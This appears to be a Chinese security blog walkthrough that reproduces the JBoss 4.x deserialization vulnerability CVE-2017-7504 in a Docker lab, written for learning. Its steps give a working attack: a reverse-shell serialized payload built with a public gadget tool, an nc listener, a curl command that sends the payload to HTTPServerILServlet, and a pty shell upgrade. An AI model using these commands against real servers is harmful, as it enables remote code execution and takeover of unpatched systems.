0%

JBoss 4.x 反序列化漏洞(CVE-2017-7504)

漏洞描述


声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!

JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。


影响版本

  • JBoss AS 4.x及之前版本

环境搭建

docker搭建;

1
2
3
4
https://github.com/vulhub/vulhub.git
cd vulhub/jboss/CVE-2017-7504
docker-compose build
docker-compose up -d

漏洞复现

1
2
3
环境
- 靶机:centos 7/docker CVE-2017-7504
- 攻击机:kali 2020/CVE-2015-7501

漏洞验证;

1
http://XXX.XXX.XXX.XXX:8080/jbossmq-httpil/HTTPServerILServlet

访问页面如下则可能存在有此漏洞:

image-20210827111919231

反序列化利用工具;

1
https://github.com/ianxtianxt/CVE-2015-7501/

在kail攻击机中解压CVE-2015-7501,并进入目录;

1
2
unzip CVE-2015-7501-master.zip
cd CVE-2015-7501-master/

攻击机若没有Java环境,则需先安装Java环境;

1
2
3
4
5
6
cd /opt
curl http://www.joaomatosf.com/rnp/java_files/jdk-8u20-linux-x64.tar.gz -o jdk-8u20-linux-x64.tar.gz
tar zxvf jdk-8u20-linux-x64.tar.gz
rm -rf /usr/bin/java*
ln -s /opt/jdk1.8.0_20/bin/j* /usr/bin
java -version

反序列化利用工具反弹shell;

1
2
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.240.242:2333(IP是攻击机ip,2333是要监听的端口)

image-20210827112227950

攻击机中另起终端,执行:

1
nc -lvvp 2333

这个时候在CVE-2015-7501-master/目录下生成了一个ReverseShellCommonsCollectionsHashMap.ser文件。

使用curl就能反弹shell,执行命令:

1
curl http://192.168.240.140:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser 

image-20210827112436086

若返回的shell非正常交互,则执行:

1
python -c 'import pty;pty.spawn("/bin/bash")'

image-20210827112510693

欢迎关注我的其它发布渠道